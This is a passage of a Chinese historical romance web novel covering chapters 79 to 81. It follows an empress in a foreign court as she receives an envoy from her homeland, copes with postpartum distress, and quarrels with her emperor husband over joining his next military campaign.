现在结案,把一切都归结到教派之争,处死大祭司,裁撤朝中祭司和巫祝等等职位,没人敢说什么。神女的信仰势必要衰弱下去了,慧玄法师也因传讯有功,被陛下封为国师。这场教派之争,最终还是扶持佛教的皇后胜了一筹。
明绰这口气咽不下去,就是因为在这件事上,她赢了,也就代表太后赢了。
冯濂之是在提醒她,这是西海王公们能做出的最大让步。如果不到此为止,乙满就会把冯濂之当成斜出来的枝杈一样剪掉。时候未到,皇后在朝中还是太势单力薄了。
“自然。”明绰强咽下胸中一口气,“就是不知道,本宫还能不能对冯大人放心?”
冯濂之毫不犹豫地伏身:“皇后放心。”
有个宫人小步跑进来,凑在冬青耳边通传了一声。冬青看着明绰的脸色不对,适时地轻声在她耳边道:“陛下那边议完了,袁将军求了陛下的允准,已在殿外相候。”
明绰不得不收敛了情绪,点了点头:“让他进来吧。”
冯濂之很识相地起了身:“臣告退。”
他躬身退了出去,紧接着便有宫人引了个武将进殿。这人脱了甲胄,未着鞋履,趋步上殿,行了个跪拜大礼,朗声道:“末将袁煦,见过皇后。”
明绰亲自去扶他:“将军快起来!”
风陵渡口一别,转眼已是四载,但袁煦看起来并没有什么变化,明绰不由叹道:“将军风采依旧,和当年执金吾卫大营中策马射柳时别无二致。”
当年袁煦策马射柳,一不小心把藏在树上的东乡公主吓得摔了下来,为此挨了萧盈一鞭子。如今想来,竟和上辈子的事情一样遥远了。袁煦闻言抬头看了她一眼,也笑了。
就和梁芸姑威胁过段太后的那样,袁氏兄弟的大军用最快的速度抵达了风陵渡口,但毕竟路远,他们也没有料到皇后会提前生产,等他们到的时候,孩子都已经快两个月了。
当日长秋殿的惨状乌兰徵亲眼目睹,但蹊跷的地方就在于,无论他怎么盘问,明绰都没有指控任何人。
等到边境传来大雍“进犯”的消息,乌兰徵才终于明白了皇后为何如此讳莫如深,想来是因为对方掌握了她私通母国的证据。但他还没来得及问责,袁氏兄弟就奉上了大量金银丝帛,说是大雍的陛下给外甥的礼物,带兵是为了保护这些财物,要袁氏兄弟亲自领兵,则是为了面见乌兰徵,共议再讨拔拔真之策。
这个话太牵强了——谁家给外甥送个礼要特意调动十几万的兵马?当初送嫁东乡公主也才两万人,而且还是因为荆州军原本就要回来,顺路而行。更何况,要袁氏兄弟来“面议”,都不事先递封信的吗?两国往来,萧盈一点儿规矩都不懂吗?于是乌兰徵特意等了几日,看是不是会有人到他面前来告皇后的状,但竟连乙满都没有说什么——他指望着皇后在拜耶哥手札一事上“见好就收”,不愿再激怒皇后。
皇后的早产居然就这样明目张胆地被盖过去了,明绰甚至都懒得想一个更圆融的谎来骗骗他。
乌兰徵想跟她生气,又气不起来。那天他回到长秋殿的时候,梁芸姑已经血尽而亡,整个长秋殿居然没有一个全乎人能起来照料皇后。明绰就这样狼狈地抱着孩子坐在地上,腿间都是凝结成深褐色的血迹。太医说,早产凶险,皇后一旦产后出血,那都见不到陛下回去。一想到这个,乌兰徵心里就忍不住觉得,萧盈就是真的出兵打他,也不是没有理由。
于是他给了台阶,信了萧盈这套鬼话。边境放行,袁氏兄弟只带百余近卫,被接进长安,受到了大燕皇帝的接见。
“给将军添座。”明绰嘱咐了一声,又问,“少将军呢?”
袁煦坐下:“他还在剑器阁,贵国陛下留他多说两句。”
明绰微微一笑:“少将军威名赫赫,陛下一直想见他,如今见到了,肯定舍不得放了。”
袁煦便“唉”一声:“只盼这小子别胡说八道,又闯下祸事。”
明绰心里一动,看着眼前的人,心中蓦地又酸软了几分。还是变了,当年的袁煦哪会用这样的口吻说话呢?那会儿闯祸的人是他。
“哦,对了。”袁煦突然想起来,从袖中掏出了什么东西,冬青连忙上前接过,“拙荆听说皇后要生产,特意让我无论如何将此物转交……”
冬青把东西拿过来给明绰看,是五色线编织的长命缕,大雍民间都会给新生儿戴这个,希望孩子无忧无愁,长命百岁。
袁煦:“不是什么值钱东西,不过是一份心意,皇后若是嫌弃……”
“怎么会嫌弃?”明绰把那长命缕攥在手心,眼泪簌簌而下,“宜华姐姐她怎么样?她的孩子好不好?”
“都好。”袁煦回答,“小女韶音也快四岁了。”
那就是当初她走的时候桓宜华怀的那个孩子了。明绰抹了抹眼泪,只道:“我听说将军的儿子叫袁识,还以为就是当初姐姐腹中那个,原来上头还有个姐姐。”
袁煦点头:“犬子去年才出生。”
“原来如此。”明绰笑起来,“我倒是羡慕宜华姐姐,我也想要个女儿。”
袁煦:“拙荆就是偏心女儿,偏心得紧呢。”
“那是自然。”明绰说,“男人眼里都只盯着儿子,做娘的再不心疼女儿,还有谁会心疼?”
两人说得放松,袁煦也不拘着了,反驳道:“皇后这话说得可不对,末将一视同仁的!”
明绰闻言便笑着“哼”一声:“好,将军自然是一视同仁。”
袁煦让她这句顶得不好意思,笑着摇了摇头,又道:“也并非所有的男人都只在意儿子,陛下眼里就只有平康公主,如今连皇长子都被陛下抛到脑后了。”
萧盈也有女儿了。明绰怔了怔,已无当日那样的痛心之感,只问:“平康公主也是敬夫人所出吗?”
袁煦摇了摇头:“是谢皇后所出。”
明绰挑了一下眉毛。萧盈会跟谢星娥生个孩子就已经挺出乎她意料的了,他竟然还如此宠爱谢星娥的孩子,那说明他是真的很爱这个女儿。本来明绰都没有想到谢星娥,但袁煦既然提到了,明绰手中攥着桓宜华让丈夫不远千里送来的长命缕,又觉得心中十分不是滋味。分明谢星娥才是她的血亲的姐妹。
但这刺痛也已经很轻微,明绰压下去,只笑着问:“怎么每回建康来人,我便多一个侄子侄女?将军一口气跟我说了吧,除了皇长子和平康公主,宫里可还有别的孩子?”
“没,没有了。”袁煦让她说得尴尬起来,“陛下他没有……他不是……咳咳。”
他说不下去了,一时眼睛都不知道往哪里看。袁煦不是卢望,当年的宫廷秘事他清清楚楚,萧盈跟这个“妹妹”之间是什么样的感情,他是极少数的知情人。明绰见他如此尴尬,只好自嘲了一声替他化解:“这一眨眼都有儿女了,难得见将军一面,我倒觉得老了许多。”
袁煦看着她,突然道:“长公主不老。”然后突然
意识到他不该这样唤她,又想改口:“末将是说……”
明绰唇角的笑意更深:“无妨。”
片刻,又问:“他身子还好吗?这些年还常犯病吗?”
“好多了。”袁煦说,“陛下如今也爱读佛经,常修静气,很少动怒。”
明绰哭笑不得:“那他还把和尚都赶到长安来?”
袁煦也觉得这其中有些荒唐之处,只好笑笑。萧盈读佛经是为了自己修身养性,抑佛则是为国为民策,一码归一码。明绰也不是想不通这个道理,笑够了,又轻声道:“那我就放心了。”
这是一句真心话。她听说袁氏兄弟献礼的时候就明白了,肯定是萧盈估摸着大军来不及在明绰生产前赶到,特意做了两手准备,不愿她为难。
事到如今,当初的那份怨怼早已烟消云散,萧盈重新变成了她的皇兄,她最强大的后盾。这么短时间之内调动十几万兵马,不惜冒着与强邻为敌的风险,而信源只是一个来路不明的茶商。明绰不信朝中没有人拦他,但他还是这么做了。哪怕天涯海角,哪怕当年的情动已经面目全非,他还是会这样护着她。所以还能怨什么呢?他有敬夫人也好,他若能开心,她也会开心。她希望他无病无痛,无忧无愁,希望他看着自己的孩子,能最终弥补少年时所有的缺憾。
这样,就算此生都无法再与他相见,也没什么了。
“末将还有一个不情之请,”袁煦又道,“陛下想知道皇长子生的什么样子,托我代他一见。”
明绰闻言怔了片刻,好一会儿才道:“冬青。”
她转头,示意冬青去把孩子抱来。但这里不是长秋殿,而是大燕皇帝平时开大朝会的正殿,两人等了好一会儿,才有保母将襁褓中的乌兰晔抱来。明绰也没动,就坐在那里,让保母把孩子抱给袁煦。
袁煦抱在怀里定睛一看,便忍不住道:“和他父亲真像……”
孩子的黄疸早就恢复了正常,小小一团,莹白粉嫩,像个面团子。可能是异族人的特征更明显一些,这孩子的眉眼鼻梁跟父亲简直一个模子刻出来的,就连袁煦这样只是今天刚见过乌兰徵一面的人也看得出来。
明绰还是笑笑,只道:“都这么说。”
所以乌兰徵欢喜得不得了。只是明绰并不欢喜,他就连高兴都觉得对不起明绰似的。
袁煦感觉到明绰语气淡淡的,想起来这孩子是个早产儿,听说早产的孩子体弱,最好不要见外人,也觉得自己有几分冒昧,赶紧把孩子交还。明绰果然马上让保母把孩子抱了回去,两人又说了一会儿话,袁煦便主动起身告了辞。
他本以为袁綦跟乌兰徵说完了也会过来见一见萧皇后,谁知道等他告辞出来,袁綦已经在宫门口等着了,腰间悬着一把进宫时还没有的宝剑,满脸都是茫然和失落。
袁煦走上来,一眼看见他腰间悬的剑:“那位陛下赠你的?”
袁綦点了点头。乌兰徵那剑器阁里收藏了很多宝剑,他就是多看了两眼,那位陛下就非要留他下来说话。
“长公主怎么样?”
袁煦没理他:“那位陛下留你说什么了?”
袁綦挠挠头,非常不解:“就问了我夫人姓什么……”
袁煦脚下一顿:“什么?”
袁綦也想不明白了:“我说我还没娶妻,他又问我你除了桓夫人以外有没有别的女人,姓什么……”
袁煦眉头皱紧:“你怎么说?”
“我可什么都没说!”袁綦恨不得指天发誓,然后又压低声音,“苻家女那事儿连阿嫂都不知道,他怎么知道……?”
“住口!”袁煦斥了一句,袁綦赶紧闭上了嘴。袁煦转头看了看四周,这才问,“然后呢?”
袁綦把腰间的剑举起来:“然后他就哈哈大笑,把这把剑送我了。”
袁煦抿紧嘴,想了一会儿,还是没想出来大燕这位陛下到底葫芦里卖的什么药,只好拉了弟弟一把:“走吧。”
袁綦快走两步跟上他:“阿兄,长公主到底怎么样?孩子见到了吗?”
“是萧皇后。”袁煦纠正他,两人顺着宫门外一条甬|道出来,已到了随从牵马处,袁煦才又叹了口气,“孩子长得很像他父亲。”
他怕的就是这个。不知道这孩子长什么样子,萧盈不高兴,实话跟他说了,萧盈也不会高兴。袁煦心里很清楚,除非这孩子能跟萧盈长得像,否则他怎么都不会高兴的。明知道不可能的事情,还非要听袁煦回去再说一遍。
袁綦不知道兄长在叹什么气,只道:“那肯定生得很漂亮。”
大燕这位陛下生得就好看,长公主生得也那么好看,他们俩的孩子,想想都漂亮。袁綦越是这么想,就越是心痒,很不甘地回头又看了一眼皇宫。他还以为这次能再见长公主一面呢……
“是漂亮。”袁煦翻身上马,又在心里回想了一遍方才明绰的神情,“但我怎么觉得,萧皇后不喜欢这孩子呢?”
第80章
明绰还没跨进长秋殿,就听见了乌兰徵哄孩子的声音。晔儿有一个乌兰语的乳名,叫“纳尔朗”,和“晔”字同义,形容像太阳那样光华灿烂。乌兰徵总是这样叫孩子,孩子也好像听得懂似的,“咿咿呀呀”地跟着笑。旁边还有保母和秋桑说话的声音,整个长秋殿里一派温情。
可是等到明绰跨进去,所有的声音马上都停了。唯独晔儿不知道怎么回事,还伸着小手在抓乌兰徵的头发。保母看了皇后一眼,神色有些惊惶,赶紧从陛下手中接过了孩子。晔儿不高兴起来,“哇”地发出了一声啼哭。秋桑赶紧朝保母使了个眼色,让她把孩子抱下去了。
明绰冷冷地看着,什么都没说。
也无怪乎她们会是这个反应。晔儿早产,明绰惊魂未定,不许任何人碰她的孩子。前面两个月,她坚持亲自喂养晔儿,可那时候她自己身子太虚,奶水不够,她疼得受不了,孩子又没日没夜地哭,有一天她就突然发了疯似的,跟孩子一起尖声大叫,把所有她能碰到的东西全都扔到地上砸了。
从那天以后,她就转到了另一个极端,从不允许别人碰孩子,变成了说什么也不肯自己抱一抱。
明绰也很不喜欢她一回来,所有的人就是这个样子,但是她也解释不清楚这是怎么了。有的时候她看着晔儿睡觉,只觉得心疼怜爱,忍不住地想抱抱他,亲亲他;可是他吮|吸的时候,又让她觉得其实是这个孩子恨她,他怎么会这样不遗余力地折磨她。晔儿手臂上那条伤口已经愈合了,却怎么也不肯淡去,每次看到那条疤,她耳边就会响起段知妘的声音,质问她,天下怎么会有她这样的母亲。
她们都觉得她不喜欢这个孩子,明绰反驳不了。也许天下就是找不出比她更糟糕的母亲了,她们把晔儿抱得离她远一些也好。
“陛下。”明绰只当根本没看见孩子,自如地上前给乌兰徵脱外袍,他肯定也没回来多久,就急着抱孩子了。乌兰徵也配合着她当做无事发生,看着明绰把外袍交给了秋桑,她抱着衣服,一歪一扭地退下。等她走远了,乌兰徵才轻声道:“还是再找人来给她看看。”
他们都不明白,秋桑当日是头上受了重伤,怎么竟落下了行走不便的毛病。她腿脚也没什么问题,就是走路歪歪斜斜,还老摔跤。
明绰摇摇头,坐下来倒了杯已经凉下来的茶:“国师也看过了,说没办法,以后说不定慢慢地就好了。”
乌兰徵“唔”了一声,坐在她身后去,手一揽,把人整个抱进了怀里。冬青原本看茶水都是凉的,正要上来伺候,见状十分乖觉地原地转了个身,无声地退下了。
明绰歪了歪头,任他把下巴磕在颈窝里,亲密地吻了吻她的颈侧。
说实话,梁芸姑刚出事的时候,明绰心里把这笔账也算到了乌兰徵头上。她恨他信了那些鬼话,恨他执意要出城,给了段知妘可乘之机。他盘问了无数遍,明绰也只反问了他一句话,“你能把芸姑还回来吗?”
她其实不是怀疑乌兰徵为她复仇的心,而是不相信他能处置得了段知妘。朝中汉臣本来就是太后一手扶持,如今她又与贺儿氏祖孙冰释前嫌,手中还握有皇后私通母国的证据。现在贸然撕破脸,无非就是和之前一样,把所有的指望放在乌兰徵身上。太后有的就是操纵人心的手段,明绰也不
想去验证,段知妘在乌兰徵心里到底还有多少分量。
她不能再积攒更多对他的失望了。
虽然问不出来是怎么回事,但她的冷淡乌兰徵是感觉得出来的。明绰的“不说”,成了他自知的亏欠。大雍来犯的消息抵达的时候,说明绰没有提心吊胆也是假的,但乌兰徵在她面前什么话都没有,就这么信了那套话。那天她被晔儿的哭闹逼得发了疯似的在长秋殿里砸东西,口不择言地说了一大堆言不由衷的话,他也只是抱着她,一句话没有地只是听,然后出去悄悄下令,以后让保母带着孩子,不许孩子的哭闹再打扰皇后的休息。
乌兰徵提过一次要立太子,明绰说不要。她觉得晔儿还太小,现在立太子就是立活靶子,乌兰徵就再没说过第二遍。可是此事不知道怎么传出去的,陈贵妃那里嚼舌根,拿郑庄公之母武姜来比皇后。乌兰徵发了怒,要将她废黜,让她父亲辽阳侯来把女儿带回家。皇后对这场闹剧不闻不问,最后还是太后从中调停,命陈云出暂时放弃后妃的身份,出家修行一年。
乌兰徵从来没有说过他觉得明绰不爱晔儿,可是他拉着她的手耐心安慰的时候,明绰心里却只是想,那是因为你不知道晔儿那道疤是怎么来的。
可是到了这个地步,明绰那些恨也逐渐化作了妥协的叹息。她还是需要乌兰徵的爱,无论是出于权欲,还是出于她自己的心。就像讲不清楚她为什么不愿意抱晔儿一样,她也讲不清楚为什么会对丈夫充满戒备和算计的同时,还是会有这样的依赖和眷恋。
但是今天乌兰徵有点儿太黏人了。明绰让他蹭到了痒处,缩了一下,又被乌兰徵抱得更紧一些,高挺的鼻梁在她耳畔蹭来蹭去,生生腻出了一层薄汗。明绰拖长了声音“哎呀”一声,转过去看他:“干嘛?”
乌兰徵咬她耳朵:“你骗我。”
“我骗你什么?”
“袁綦根本就不是你的情郎。”
明绰皱起眉头,都不知道他这话从何而来。她印象里袁綦还是个十三岁的小孩子。
“说什么疯话——”明绰突然想起来,“你不会就是把袁綦留下来问这个了吧!”
“当然不是,”乌兰徵面不改色,“是他看上了我一口鸿鸣剑,我送他了。”
明绰无语地叹出一口气,也不知道袁綦这小子怎么回事,大军来犯已经说不清了,他还问乌兰徵要剑?
乌兰徵又道:“你是不是说过,跟袁煦的夫人交情好来着?”
“是啊。”
乌兰徵便道:“袁煦八成外面有别人了。”
明绰猛地转回头看他:“啊?!”
“我问了袁綦他兄长还有没有别的女人,”乌兰徵笑了一声,“这小子一看就不会撒谎。”
“你为什么会问……”明绰让他这一句接一句的都说蒙了,但又觉得这不是重点,“他有了谁?”
这个乌兰徵确实没问出来,只摇了摇头道:“反正不是‘敬夫人’。”
明绰眨了眨眼,看了他半天,终于明白过来他这一出是在闹什么了。一时哭笑不得,又觉得他有病,狠狠地打了他一下。乌兰徵在她腰上抱得更紧,压低了声音在她耳边问:“你从前的情郎到底是谁?”
明绰懒得理他:“陛下今日谈了一句正事没有?”
乌兰徵终于放开了她:“谈了。”
明绰转过脸来,等着他接着往下说。乌兰徵与袁氏兄弟谈的正事,自然就是何时再伐拔拔真。拔拔真那边不能久拖,但今春小有水患,收成还不如前两年,所以明绰也不知道乌兰徵会如何决断。
但她睁大眼睛看着,乌兰徵又不回答她,只道:“明日带你去马场,教你骑马。”
明绰皱起眉,不知道他又发哪门子癔症:“怎么突然又想起这个?”
乌兰徵伸出手,在她颊上轻轻捏了一下:“瞧你还是没养好。”
虽说万幸,明绰产后没有大出血,但是她悲痛过度,月子里又一直提心吊胆地照顾孩子,实在是把身体亏得很厉害。太医交代了,食补药补之外,还是要多动一动。
但明绰就是不想动弹,本来天就热,她又乏力,还骑马呢,想想都累,当即一口回绝:“谁说的?我养得挺好的。”
乌兰徵的手滑到她腰间:“那昨晚上是谁一会儿就喊没力了?”
明绰把他的手打开,什么都没说。
乌兰徵又道:“趁着日头还没起来去,就没那么热。”
明绰意味不明地“哼”了一声,往他身上靠。乌兰徵刚要说话,明绰已经在他唇上亲一下,不让他开口。乌兰徵看出了她转移注意力的意图,勾起嘴角无声地笑,一下子把人打横抱起来,抱到床上去了。
只可惜,明绰的美人计没有任何作用,第二天还没大亮就被乌兰徵叫了起来。耍赖不肯穿衣都没用,陛下亲自伺候她,给她把骑装穿得整整齐齐。最后是眼看着她要是不自己走,乌兰徵能把她一路抱出去,明绰只好不情不愿地跟着他去了马场。
乌兰徵知道她怕高,特意挑了一匹膘肥体壮的矮脚马,能同时承担他们两个人的重量,方便他环抱着她手把手教握缰和坐姿,让她放心些。等明绰克服了对上马的恐惧,乌兰徵再给她换了正常高度的马,让她在马上骑着,自己则抓着马嚼子,帮她控着马,慢悠悠地往前走。
当初刚从西觉寺回宫,乌兰徵也说教她骑马,但上回就没想得这么细致,而且又是嬉笑又是逗弄的,根本没有好好教。明绰很明显地感觉到,这回乌兰徵态度不一样了,非要教会她骑马不可。
她又问起来为什么,乌兰徵却反问她:“当初不是你自己想学的吗?”
明绰不肯承认:“我什么时候说过?”
“我都跟你说了不要逞强,”乌兰徵旧事重提,“你去摸了摸马,那个眼神就是心里想。”
明绰便不说话了。她也想起了那一年的马会,想起了当时促使她上马最重要的诱因——是段知妘骑着马飒爽奔驰的那一袭红衣。
如今再想起那一刻的心情,简直是像被烙铁烫了一遍,带出喉间满是锈味的血气。
明绰似是为了从自己心里抹掉这片红影,突然道:“小时候想学,只是我……太父不让。”
其实是母后不让。但是明绰也修改了一部分对母后的回忆,反正母后不让的原因肯定就是太父不让,也不算冤枉了他。
“谢太尉不让?为什么?”
因为他觉得女子以端庄娴静为美,没必要学骑马。明绰心里轻轻叹了一声,避重就轻地回答:“他觉得大营里都是男子,不方便。”
乌兰徵耸了耸肩,没明白为什么学个骑马还得去大营,只道:“叫会骑马的女子来教你不就好了?”
明绰没答,乌兰徵想起什么,突然抬头看着她:“大雍没有会骑马的女子吗?”
“桓姐姐会。”明绰的声音低了低,然后就再也想不出还有谁会了。乌兰徵明白了什么,摇了摇头:“你们汉人怎么总想着把女人关在家里?”
乌兰人也没好到哪里去,你们还要弄死刚生完孩子的女人呢。明绰在心里悄悄腹诽,只是没什么底气说出口。皇权之争是一回
事,但西海民风旷达,女子无论是在交游出行,还是婚姻情爱上,都比大雍的女子有更大的自由,是不争的事实。
明绰突然问乌兰徵:“那你们为什么不想着把女人关在家里呢?”
乌兰徵一脸天经地义:“关在家里还怎么干活?”
他们世代游牧而生,天天只会呆在家里的女人还不如一头牛有用。
明绰便笑:“那大雍的寻常农妇也是要下地耕田的呀!人人都要劳作才能活命的时候,自然不讲究这些。如今你们乌兰女人也不用出门干活了,男人就要开始琢磨怎么压女人一头了。”
乌兰徵摇摇头,只是不信:“哪有这样的事。”
明绰“哼”了一声:“我看过不了两代,你们也跟汉人一样,觉得女人会骑马就会跑,管不住,还是关在家里的好,再教几句女子要以端庄娴静为美……”
乌兰徵“噫”了一声:“乌兰人不喜欢那样的女人。”
明绰阴阳怪气的:“你娶的就是‘那样的女人’。”
乌兰徵闻言大笑起来:“你?”他笑个不停,“你哪里端庄娴静?”
明绰作势用马鞭抽他,但自己也忍不住笑起来。马被他们的笑声惊动,不安地晃了晃头,明绰自己一勒缰绳,已经学会了怎么控制马。乌兰徵便朝她笑了笑,松开了马嚼子。
他一松,明绰又慌了,拖长了声音跟他撒娇。
“别怕,”乌兰徵安慰她,“你自己能骑。”
明绰坐在马上,居高临下地看着他,想了想,又问了一遍:“乌兰徵,你到底为什么突然要我学骑马?”
乌兰徵伸手摸了摸马的额间,抬起头看着她:“我希望你身强体壮。”
明绰挑眉:“好去帮你赶牛牧羊?”
乌兰徵又是大笑,歪着头看着她。早上短暂的清凉片刻已经消散,灿烂的阳光压在他眼皮上,照出他额角一小片晶亮的汗。
“没本事的男人才怕女人学会了骑马就跑了,”他突然说,“我要你跟我并辔而行。”
明绰好像知道他要说什么了,唇角的笑意微微敛了起来。
“我和袁煦说定,秋收之后,会出兵再讨拔拔真。”乌兰徵也不笑了,“这次,你跟我一起走。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
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第81章
乌兰辉手里晃着一个宝石璎珞包着的小香囊,悬在婴儿的头顶。孩子的视线跟着璎珞上垂下来的碎珠不断转动,伸出圆乎乎的小手想抓,一边咧开嘴笑了起来,舌头一吐,便流出不少口水。
乌兰辉很嫌弃似的“噫”了一声,但还是伸出袖子给他擦了擦脸。脚步声就是这时候突然从门口传来,乌兰辉吓了一跳,香囊滚进了婴儿的摇篮中,她也顾不得捡,连忙躬身钻到了桌子下面,躲了起来。
先进来的是明绰,怒气冲冲,脚步飞快,走到摇篮边,一把抱起了孩子。晔儿本来躺得好好的,突然被母亲有几分粗暴的动作惊到,反而哭了起来。他一哭,原本正打盹的保母赶紧跑了出来,见到皇后和陛下都来了,惊得直往地下跪。
乌兰徵没顾得上理她,声气很无奈:“我不是这个意思……”
明绰语气很冲地反问:“那你是什么意思?!”
不知道是明绰抱孩子的姿势不对,还是晔儿也感觉得到她的情绪,孩子在她怀中用力挣扎,放声大哭。保母抬起头,似是想说什么,但看着皇后的脸色又不敢。乌兰徵便没说话,朝跪在地下的人做了个手势,让她先下去。
明绰转过身,调整了一下抱孩子的姿势,边走边轻轻地晃,安抚哭个不停的晔儿。乌兰徵看着她的背影,无声地叹出一口气。
他以为跟明绰说这个她会高兴,他觉得她不是那种愿意被一直困在宫里的女人。其实有那么短暂的一瞬,她的眼睛是亮了一下。但很快那神采就消失了,明绰问的第一个问题就是:“那晔儿怎么办?”
行军艰苦,她尚且为难,绝不可能带这么小的孩子上路。
但乌兰徵根本不觉得这是一个需要思考的问题。一个婴儿,他又不要读书习字,有人喂几口奶便好了,反正本来也不是皇后亲自照顾的。
就是这种态度,瞬间激怒了明绰。
“你心里也在怪我……”明绰还是背对着他,但声音已经出了哭腔,“觉得我不是一个好母亲。”
“我……”乌兰徵简直百口莫辩,“我真的没有啊!”
晔儿不依不饶,哭得简直撕心裂肺。明绰也不哄了,回过身来,满眼都是泪地指控他:“什么叫‘晔儿留在长安你也能开心一点’?天下哪有母亲会舍得离开自己的孩子?”
乌兰徵有一瞬间还想坚持说可她就是不开心,瞎子都看出来了。但是看着她也哭,孩子也哭,哭得他心里一团乱麻,只好先服了软:“好好好……是我说错了。”
他上前一步,想把孩子从明绰手里接过来,但是明绰不许,跟孩子较上劲了似的,非要抱着他。晔儿要被这暌违多日的母爱掐死了,竟然主动地朝乌兰徵倾身过去,虽然不会说话,但是意思很明确。他要阿耶抱。
明绰的眼泪一下子决了堤,她把孩子往乌兰徵怀里一送,自己坐了下来,抱着膝盖失声痛哭。乌兰徵手忙脚乱的,也不知道该先哄儿子还是该先哄妻子——他哪里会哄孩子,他只有闲了才会抱着晔儿玩两下,其实还不如明绰呢。好在保母虽然退下了,但就在门口,不放心地探着头看。见陛下这么左右支绌的,很是识相地上前把孩子抱走了。
乌兰辉从桌下悄悄地探出眼睛,看着兄长就那么站在那儿,叉着腰,眉头皱得紧紧的,也不说话,表情甚是吓人。
乌兰徵一直就没学会怎么哄明绰,好话、软话那是一句不会。几年下来唯一的长进也就是现在不会转身就走了。明绰自己哭了一会儿,抬头看他那神情,很明显还是想逃,但克制住了。最后还是明绰自己先开了口:“我不去,我要留下来照顾晔儿。”
这就算给了他一个台阶了,乌兰徵过来坐在了她身边,握住了她的手,非常有耐心地劝:“晔儿身边有保母,还有这么多伺候的人,他不缺你。可是我缺你。”
明绰把手抽回来,还是觉得这句“他不缺你”怎么听怎么刺心。
“陛下从前征战也从来没缺过我!”
“现在不一样了。”乌兰徵皱着眉,“同样的错误我不会再犯第二遍。”
明绰不肯说到底是谁下的手,他只能预设谁都有嫌疑。乙满和贺儿库莫乞当时都随他出城了,但他们可以安排别人来做这件事。步察巴合早就犯了事,渐渐被他夺了权,看起来消停不少——但也有可能就是因为这样才狗急跳墙,毕竟当初他是头一个毫不掩饰对明绰腹中孩子有野心的人。贺儿薄也有可能,他糊涂,所以这么顾头不顾尾的事情也像是他做得出来的。当初在他耳边鼓动要出城祭天,贺儿库莫乞是最热切的,也有可能就是和祖父打了个配合——甚至有可能,他们都是一伙儿的,谁都有份。
怀疑的人太多了,又没有证据,反而谁都不能动。他只是出城几天都有人敢对皇后下手,若是再走得更远些还得了?那他回来还见得着明绰吗?
明绰听懂了他的意思,转过来看着他,似是更觉得他不可理喻:“那你不明白为什么有人要对我下手吗?还不是为了晔儿?你还要把晔儿留在长安,你——”
她深吸了一口气,努力克制着行将失控的情绪。乌兰徵不明白,长秋殿这些保母和宫人能拦住段知妘吗?只要她一离开,段知妘就能名正言顺地把晔儿带走抚养。一想到这个,明绰简直比死了还难受。
乌兰徵突然道:“晔儿不是太子。”
明绰愣了一下,突然明白过来为什么乌兰徵没有再提过立晔儿为太子的话。
按照乌兰人的惯例,长子只要身体强壮,无夭折之虞,基本上都是满月到三个月左右的时候就会被确立为继承人。但是乌兰徵现在对外没有立太子的意思,他越拖,就意味着,他有可能不再沿用旧制,也想学汉人立贤。既然皇后没有被旧制处死,她就还会有别的孩子。若真是有有心人控制了皇长子,乌兰徵可以立次子,甚至更小的孩子。
明绰突然站了起来,脸上的愤怒更甚之前:“你把晔儿当什么?”
乌兰徵抬头看着她,神色是掩饰不住的意外。当时明绰说,晔儿还太小,日后再议。乌兰徵以为她也是这个意思。
明绰看着他,只觉得被一桶冰水从头浇到脚。原来他要的不是孩子,只是“继承人”,有就可以了。至于这个孩子本身,是可以被牺牲的。他永远都可以有别的孩子。
“你那么想要这个孩子,”明绰的声音无比失望,“我以为他对你来说很重要。”
乌兰徵深吸了一口气,他的耐心见底了,他不明白为什么今天他的每一句话,都被明绰以他没想到的角度去理解。
“我没有说晔儿不重要……”
明绰讽刺地笑了一声:“但是总有别的事情比他更重要。”
“是!”乌兰徵也站了起来,“你,你比他更重要!”
“因为我还能给你再生别的孩子,是吗?”
乌
兰徵突然逼近了一步,扣住了她的肩膀,他是真的生气了,看起来很凶,但明绰不怕他,昂着头,直视着他的眼睛。乌兰徵扣着她的肩膀,又不忍心真的用力,被她这么看了一会儿,最后又只能无力地又放开。他的忍耐已经到了极限,所以他又转过身想离开。可是走了两步,又犹豫地停住了脚,站在那里,肩膀都塌了下来,极其不情愿地掏出了一句软话:“因为我不能没有你。”
他的声音都有点儿哑了,明绰微怔,竟没有忍心再顶回去。乌兰徵还站在那里没动,不肯看她。有些话他本来是无论如何不愿意说出口的,但是一旦漏出来一点,就会突然决堤,拦都拦不住。
“我不知道怎么样你才能原谅我,我也没办法把芸姑还给你。如今你已经不肯信我,我也没有办法。”乌兰徵停下来,这是他始终无法承认的失败。战场上打不赢没事,他可以先歇两年,积蓄力量,从头来过。可是在明绰这里,他感觉自己一败涂地。
“没有人说你不是一个好母亲,可你不开心。我知道你不开心。”乌兰徵转回来,看着明绰。明绰什么都没说,只是泪凝于睫,还不到可以落下的程度,但已经汪了一片说不尽的委屈。
乌兰徵再一次握住了她的手,这一次明绰没有把手抽出来。于是乌兰徵得寸进尺地把她抱进了怀里,明绰把脸埋在了他的胸口,肩膀无声地颤动。乌兰徵叹出一口很长的气,只觉得心里刀割一般。他真的不觉得这对晔儿来说到底有什么,明绰把这件事想得太重了,根本就不用上升到再生别的孩子的程度,乌兰徵没想到这个。就算有人趁虚而入把晔儿带走抚养,等他们回来不就好了?他们出征最多几个月,即便一路打到辽东,也就是一年半载的功夫,晔儿什么都不会记得的。他想不通明绰为什么在这个事情上钻牛角尖,但又隐隐有些明白。
明绰被做母亲的职责压得那么喘不过气,只能让他来做这个不尽责的父亲。
“我就想让你开心一点。”乌兰徵伸手顺了顺明绰的头发,几乎是求饶一般,“你能不能不要把我想得那么坏啊?”
明绰从他怀中仰起脸,眼下一片泪痕,瓮声瓮气地跟他犟嘴:“打仗是什么好事吗?有什么好开心的?”
乌兰徵笑了一声,替她捋了捋被眼泪沾在颊边的头发:“带你去看看洛阳。”
明绰又投进他怀里,双手环住了他的腰:“我不要看洛阳,我想看神女湖。”
乌兰徵想了想:“那等平了拔拔真,我再找个借口去打卓特尼错。”
卓特尼错是离神女湖最近的地方,西海人对神女湖都非常敬畏,没有人会去卓特尼错挑起战火。那里的诸多小部落也都早早归顺乌兰部,从来没有什么出格的行为。明绰听出来他是故意胡扯逗自己开心,哭笑不得地打了他一下。乌兰徵顺势把人抱得更紧,几乎让她动弹不得。
“你要还想去神女湖,就更要强壮起来。”乌兰徵突然正色了两分。西海地势高,空气稀薄,严寒逼人,神女湖更是地处山巅之上的绝境。阿瓦神女在他们的传说中是个慈悲的母亲,但神女湖夺去人命的时候并无半分慈悲。
他本以为明绰还要再顶两句嘴,但她竟然乖乖地倚在他胸口点了点头。乌兰徵在她看不见的地方无声地勾起了嘴角,视线越过她的肩头,突然看到了落在摇篮的宝石香囊。
